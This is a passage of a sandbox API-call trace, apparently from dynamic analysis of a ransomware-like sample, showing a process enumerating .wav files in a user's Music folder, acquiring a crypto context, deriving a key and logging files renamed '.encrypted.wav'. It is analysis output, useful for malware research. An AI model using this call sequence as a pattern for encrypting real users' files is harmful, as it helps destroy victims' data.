PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.360] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0027.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.362] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.362] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.362] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0027.362] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.362] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.363] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.363] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0027.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.363] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.363] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.363] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.364] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.365] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.365] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.365] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0027.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0027.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=7373) returned 1 [0027.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0027.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0027.365] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x1ccd, lpOverlapped=0x0) returned 1 [0027.365] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0027.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x1ccd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.365] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=7373) returned 1 [0027.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.encrypted.wav\r\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0027.365] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.encrypted.wav\r\n", cchWideChar=77, lpMultiByteStr=0xe8f4069a10, cbMultiByte=77, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\OKF4yowSz-ApDzSJ.encrypted.wav\r\n", lpUsedDefaultChar=0x0) returned 77 [0027.366] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4069e30*, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4069e30*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x4c, lpOverlapped=0x0) returned 1 [0027.366] CloseHandle (hObject=0x1fc) returned 1 [0027.366] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.366] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.367] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.367] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.367] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.367] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0027.367] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.368] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0027.368] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0027.368] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0027.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178720, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0027.369] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0027.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.wav", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0027.369] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.wav", cchWideChar=62, lpMultiByteStr=0xe8f40514a0, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.wav", lpUsedDefaultChar=0x0) returned 62 [0027.369] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.wav" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\qkmezet2rw9j4.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=62, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 62 [0027.369] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=62, lpWideCharStr=0xe8f4067b20, cchWideChar=62 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\qKmEzET2RW9J4.wav") returned 62 [0027.369] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.370] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.370] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.370] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0027.370] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0027.370] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41789a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0027.371] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0027.371] CloseHandle (hObject=0x1fc) returned 1 [0027.371] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0027.371] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0027.371] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0027.371] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0027.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.371] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0027.371] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0027.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.371] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0027.372] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0027.372] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.372] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.372] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.372] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.372] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.372] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.372] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.372] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4063410) returned 1 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.373] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.373] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.373] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.373] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.373] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.373] CharUpperBuffW (in: 